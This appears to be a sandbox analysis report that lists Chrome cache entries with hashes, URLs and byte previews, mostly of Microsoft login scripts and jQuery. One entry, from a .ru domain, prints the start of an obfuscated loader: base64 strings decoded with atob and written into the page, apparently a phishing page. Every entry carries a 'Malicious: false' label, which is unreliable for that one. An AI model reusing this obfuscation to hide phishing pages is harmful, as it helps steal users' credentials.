Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 455713
Category:	downloaded
Size (bytes):	122938
Entropy (8bit):	7.997721281671076
Encrypted:	true
SSDEEP:	3072:m+Uk3sMLbagRX6D+VWwKWf1Oh+LFM/2RBT8K3EuD:m1k3sO/vWEf1OSe/2RBIKJ
MD5:	96E339D86011BDAC1FB27E77B9CB3B36
SHA1:	BA352B1214AB132DCFE4A139FE0A39378A6ADE38
SHA-256:	A2A45D472C6B2C0215AE6E643DEA95268E3DBBB813DB2FCB991415E09671F6FE
SHA-512:	554EEDD482D091DD1F79A51B24E41AD446F1D3FD1F57466D0CC1FB75EB87AC19219955167E8167B0AEE4C4358BAFA8EC7CB4B6633AFD0D52B0C461349E042197
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_iO_VLhbr8gXvmCnvbzDI7A2.js
Preview:	...........{w.8.8.....fn..(..o+.....I.....Merd.v.%.$.1.......([NU....s.Q.H... .....w.......Oit....OJ.O..J..............F....^\.x>+...3....0y..F.0....f.o..~i...R..J.(..9I\.8.Bc..2T...K;J^K.....6o..P.....!).a.9.d.....G..."pYTz~...Da.N.R...=A#....M.%;b..%.I.%......!E.15.[...:..P.........8_...L...U..ie..\|.JIXz.....x.`Z...bj......I..a.,z...~)..D...%.2....-M#;@...`..i......cTt.Z.fs...L/.8..s...R..^...J.?.0.W..K.z.h..Z.5....d...>L..a1.:.......C.G.....G..?c^....,]....Q8..@.u.b.4..K..!`_.....q\|q.?]..<>.L....+..R........d..uO...v.G...c..;...A.KX.Y0M....g...>....'a.:g..;.>...9.b.:0.e[.....w...T......JE..V..;....wU...TYf....?.....ua8...i....$)W.....\..7... EC.h.&e.6..D,YDA..W.Na!..T..$k..;..2..ju .1,D}LdY=..a.>\|k....ND/.A...}{+'V?..W%#..o)a.S....c!P8..UI.".n.{.]C.q...-u..a.....$z%...[*.CX......l.}.U.Q.......\.nT..........Z...LK.~.\|."...D;U{>._....T$.C..^\|)..'e..!.k2=...)Y! )..+.Y.#%........C..>0.r_oo..%.>....=..g..!.V....<%J.D......

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116362
Entropy (8bit):	7.997473195483862
Encrypted:	true
SSDEEP:	3072:b4AjEJ6y6ebFHqvxmN75LyWZh7nUOJc4TG91lJa5l+2EqFonU:0AgsnM79PZh7nuN1naTdFoU
MD5:	81C7B985343C317ADEEA2C28F5C6FF4D
SHA1:	7A04D6215D0B79EEDE6823C4B3621795AD552534
SHA-256:	6BDBA6F0D2271DD20E6E6AEA2B459A1A23050EDE1B3BBADE4C913A1716F6E491
SHA-512:	DDF40137ED7F870C5E7475685BA9006F9C99C7C0632A9E7738DCF9BD081C105ABA5B94B3302BBD26DFF413DC065FC442D3CDDA33684709D6185B409F08158085
Malicious:	false
Preview:	...........k{.H.(.}.......c....8=.Ib......#Ca.....K..o..ZU%...q..9...ct).....S..?U.6..rqyt~Y9}W..........Z.xzy..x.z.Q.w9......^...U.........<..G....=wZ.....Oxe.._.0.S/..k>..&T..gn.?TN....6.....a0...I\......)....$......7.T>x.0..q\...{..H...\|.....2..x"..\`IYkD..#....FP....a.^.].'0h.&.....ie..\|.qPy....l<..S.y.E..>.....a...3..-vq:..P<..dE.....C.h.P..]..\5.......3.<N.^?T...:B#c....\|...T.........(...Q.l7[...V.e.W.8.G.....O...0.m...f.F...7..h.......F..b...Yr.=...f.....?......S.}U..g.......t..../...G.......~.+...)y.X\...<.&.........`.v.....`^....c4c.Yh=.a.wB.m.......i..~v-..O..nY....A....5...v...t..FSw...Q/n...c.9Y{.-..>a..7h..o..ec...O...)~..8...j-M..nD....9......f5..'Q#...L.'......fZW."Q[.<.nx..O...LU.;..a.m..&.k.$...;.=L...yv....,.f<Hb{.w.@.8...8F.D.>.04.[K6v.i..2.#?..&.;-.].....1.X0w.H6mZ..A...t..e-.\...MC6.xt`..cu...@_...v....;z'.mV.T/o.i....-...K......\..Sn>B......%x..%......W.\|......~.6.%...+.:..x5..s5P.-..!.G...ZT.i...;.&

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3445), with CRLF line terminators
Category:	downloaded
Size (bytes):	3447
Entropy (8bit):	5.1147634913081745
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9cNHULI5m4n0imQBGLesqAsosushswsosry:a2IYz9c6qzmQBaC
MD5:	ACDEC8DAD3164FBA20E86D50F1B979F1
SHA1:	0C5FD1CCA5BECDB0080D20E6A90CCD91BC0D5894
SHA-256:	1D2CDE2E778A731CBD158758F735E1BCC2508A8252720D261D94068AFF45AACC
SHA-512:	A9D25D79EDF7BD8D668D5833263461B72B077AD3885A05DE749C7F0326BFC7C8D5D2D967E11FF40E52755211774DEC0E913532BC86AEEEC37B243A213CECEEC1
Malicious:	false
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5529
Entropy (8bit):	7.963357626093036
Encrypted:	false
SSDEEP:	96:FC4lWyY3aCfrPHSuZ6WTgaPZT1rfaaCEIqgpxXpYUFUUjadVPht:c4lWyK/rvn3TgKdfaaCbqgmUfjIVPht
MD5:	2897F2B9FBDFCA48FD9E7C3EBACD4825
SHA1:	1AC29A73147FAB24EECEDE0BBF4ABAC2B09B4FDA
SHA-256:	34AC02CED788528E58CD6EBB75EDF624F4061D4839369AF860A36AC0BFC3C830
SHA-512:	508CE7E7E1D3AE2101737E8D26A1257D516F8644ADC3AB5BE2A6B86C0B21CCFC32C1030B2014BE1280B9AF29AEB78A005D2242A2D12C68D2C3733941BCF64A42
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_4ba7c391e6f3f547d8ce.js
Preview:	...........[}w.......q.Q.f......q....c..&9:H.$b..E.UK......$!..ss.`vgggg.}...j_i.....G...{.e[..\7.+....].:.......7.6....9p...(.D..a..Q.\hS...n...h.....I...S...H.h...^3...+7I.Z......?.C..F..?OR-.R..57.$../...,.x..O..D...I$.Q.%\|..;l"f._.in.5.Sm.%.D.ai]......QHp...{@8....8........5Q....+dD.:.Z.i.h.Q_......6.r../..o6L..c.....A.E.O4.,A.k.!.....8qCby.....'.Oy.20.....Oc."O.4..(.y@w+....[..h.g.._[..f\|}t......cSMM.4.....O'..5...^4......[..;..{...P....l.j6..Z3..~..uU.~g..W9./.....tC.G.]......._..~.A... v....C.S1.X\|.dZ.LL........_}..=..C:..Y..x...a\|m...c.%x.....[...j6t...p......c.fNd.6...&.....%.. tS..<...A...c.3j=@3.5.. eS.u!>..j........B.kpE_.81.x./Z..&K.nI.L.n.vn.Q..&....Y:.... a8..f...)...."...;z..d(...{\.B.."R..n.g#.@.G<......S.qPt......r..H.V...s......w..['..$../..=.n.&sv...z.Q8...A.H...?..<..Y./....m.Y.........C.F`M..I..p.?.n2........D.......,.%....GE....\|..{....)....u......<!.>..~~.v...\|.Cj....V.^s..M.9.i7....8I..8}8%...'.I#...Y..i.........

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	downloaded
Size (bytes):	35169
Entropy (8bit):	7.993210932978764
Encrypted:	true
SSDEEP:	768:j6PfHtcQsNe72gH9i6EndaklFS0VBrXFm4soze9NJthWnXpjTbI8PgzK:5xoCgH9i6EFFhrXFmUzVXtbI8YO
MD5:	57EADECAC2A031883A702F6B12A14502
SHA1:	3C1E4F5ABE11775DD678085EAC97029DF618A9F7
SHA-256:	C76276A58DFB0E4D68D277526E5F05EE357E13957B4C91BE2C74BE7CD20B065E
SHA-512:	D98AC263512C6CDB0A522C8B550F4CA8B901F620A1ED416C49163B28E0D5D08EA9605BF681F9F0C5567EB244BBD319D6596C6B46E860F48AD5CE31154DD2CA5A
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_c4928fb5cff147a39780.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:{...r..._........,...A........:..x.>.y..u.....N..f...).......<?._.f..C.....%..@..~....`P../.Q4..IQ.' ...e)'.q..Y:...%.z..x..k.z.../....@.D.r?......GP....`..o.'..~1.....&.HJ.`.@.}mV../8.b.m..guo.H_.7Qv.....dQ.....-.NE......G:.U'.....~.1.....H.k...O..dk.d.\|.7..x\/..i^.Y..Q_/.`..i.&...-.......P...yEv....,....'.^...X.......YK.".....l.r.ax.....<...1!..4GQ.M_.....L..F..51.!.....].....y...(...=O5?.nT...~

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65360)
Category:	downloaded
Size (bytes):	182923
Entropy (8bit):	4.572152772227099
Encrypted:	false
SSDEEP:	3072:Sz4SIyKKvu6Mscn2z4SIyKKvu6MscngOg:SnrKeuWI2nrKeuWIgOg
MD5:	803AE07C56FE0F86504800B7397B0E27
SHA1:	17E18B3C4D93D87F1FED99904861022B98813612
SHA-256:	52916C16B73311000C3F6235DD313ABE3CAE072CA40C871DBCF3092AD02F52A8
SHA-512:	ADC2A2AF5233CB9FE7C74A8D85B8AB8A840951813DCA962AC74D1EAB80312D965E43F9B6C07F054CB4567DE0EC3B2A95AAB2D95E51A1B85A963DB75C8DEB88C6
Malicious:	false
URL:	https://t8ja.vyhbxyts.ru/3cDRxGja/
Preview:	<script>.nmHLVMzVKK = atob("aHR0cHM6Ly9UOGphLnZ5aGJ4eXRzLnJ1LzNjRFJ4R2phLw==");.PgkLEqKhtO = atob("bm9tYXRjaA==");.OwaIylokpQ = atob("d3JpdGU=");.if(nmHLVMzVKK == PgkLEqKhtO){.document[OwaIylokpQ](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPgogICAgPHNjcmlwdD4KICAgIGNvbnN0IFVwTVRRQkl5S2UgPSB7CiAgZ2V0KG9KQ0dldFRvaXEsIHFvQmNBU1NpR3YpIHsKICAgIGNvbnN0IEh0eUFhV3FnSGkgPSBbLi4ucW9CY0FTU2lHdl0KICAgICAgLm1hcChWcktyQkd0YXdoID0+ICsoJ+++oCcgPiBWcktyQkd0YXdoKSkKICAgICAgLmpvaW4oJycpOwogICAgY29uc3QgTWFvdUdjVFpCbCA9IEh0eUFhV3FnSGkucmVwbGFjZSgvLns4fS9nLCBkbE56cVF

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	dropped
Size (bytes):	5529
Entropy (8bit):	7.963357626093036
Encrypted:	false
SSDEEP:	96:FC4lWyY3aCfrPHSuZ6WTgaPZT1rfaaCEIqgpxXpYUFUUjadVPht:c4lWyK/rvn3TgKdfaaCbqgmUfjIVPht
MD5:	2897F2B9FBDFCA48FD9E7C3EBACD4825
SHA1:	1AC29A73147FAB24EECEDE0BBF4ABAC2B09B4FDA
SHA-256:	34AC02CED788528E58CD6EBB75EDF624F4061D4839369AF860A36AC0BFC3C830
SHA-512:	508CE7E7E1D3AE2101737E8D26A1257D516F8644ADC3AB5BE2A6B86C0B21CCFC32C1030B2014BE1280B9AF29AEB78A005D2242A2D12C68D2C3733941BCF64A42
Malicious:	false
Preview:	...........[}w.......q.Q.f......q....c..&9:H.$b..E.UK......$!..ss.`vgggg.}...j_i.....G...{.e[..\7.+....].:.......7.6....9p...(.D..a..Q.\hS...n...h.....I...S...H.h...^3...+7I.Z......?.C..F..?OR-.R..57.$../...,.x..O..D...I$.Q.%\|..;l"f._.in.5.Sm.%.D.ai]......QHp...{@8....8........5Q....+dD.:.Z.i.h.Q_......6.r../..o6L..c.....A.E.O4.,A.k.!.....8qCby.....'.Oy.20.....Oc."O.4..(.y@w+....[..h.g.._[..f\|}t......cSMM.4.....O'..5...^4......[..;..{...P....l.j6..Z3..~..uU.~g..W9./.....tC.G.]......._..~.A... v....C.S1.X\|.dZ.LL........_}..=..C:..Y..x...a\|m...c.%x.....[...j6t...p......c.fNd.6...&.....%.. tS..<...A...c.3j=@3.5.. eS.u!>..j........B.kpE_.81.x./Z..&K.nI.L.n.vn.Q..&....Y:.... a8..f...)...."...;z..d(...{\.B.."R..n.g#.@.G<......S.qPt......r..H.V...s......w..['..$../..=.n.&sv...z.Q8...A.H...?..<..Y./....m.Y.........C.F`M..I..p.?.n2........D.......,.%....GE....\|..{....)....u......<!.>..~~.v...\|.Cj....V.^s..M.9.i7....8I..8}8%...'.I#...Y..i.........

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 58358
Category:	dropped
Size (bytes):	16554
Entropy (8bit):	7.986295720448826
Encrypted:	false
SSDEEP:	384:/SZSwuDbw8MIs2AVg6Vdz4LOddd5jOKHjCVx095O:/SZFuDbck6Vdz3R5nHjN9k
MD5:	ED8C452BA600B5D01523AE92EC363BDA
SHA1:	26DE5667109976A5A0D26723B277471DF8A85207
SHA-256:	3320F5D52A68637AEF39C696BF824716B206019D8FFBC4B3A23A6F0E9D8DC44C
SHA-512:	C784CD9BC0A858A7A309A9B2EDB8A9B1407751BA2CC68AE6420B72A2FE0135C131D9B1FBDCEC8760C2EC4AC9597A9E46B4BCBDDFB9E360DC92C281F924878F7F
Malicious:	false
Preview:	...........}Ms#G.....u.O=.>...4.Ap.oH....)$....`/.n...p..8...;.j.\|..G_\|.O.........n....................l.Ob/.............l....q?..:...wI\|Z.a..........[...M......P..J6..t...{.......`.~p....I.g..k<..!..4ix..U.Xt......i8....{.}..ox{....9.wb..h.q.qi...?.....qg.D.X..b..?.bOD...x.B1..X..`.N.^1..c.I.......h0.zs......q...to.b<...F...7...p.M. .fq..L........._..$./...Z#...w.8s}h3.;j./...\.!....q....-..`.M.....X..\..."...x!.A....e..pK.`y..b...4....b1......_.z.......h.A...w&....#!..........?.s.V....G.._...J...4W.Vp........_J....t.._.....+(....wg..........I...E..~,..`[./.4..o...4....y..2.\|..xr...ID...&..B.....S....M...5nEs2..'..mq.\|b.....Pbi ...[_Lb.Z.....U`./{z.....u..[,.7....)P...[....T\|...a!.!...\d..m..Zc..DDQ.....j....ts..!4.......)..a0.P.....7...{....)..QL..X.E. ...c.I:.3_......y......m../..i.....V...i.....5..W_b...b~.b.E]c...2..[...B.TH...C.k...~..sOf.2.2'..mAN.0....3wr..wC........2.!b....^.H.#.e.ck./~...9?../....a.%4c/b..H..9n.Y.2..?....

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
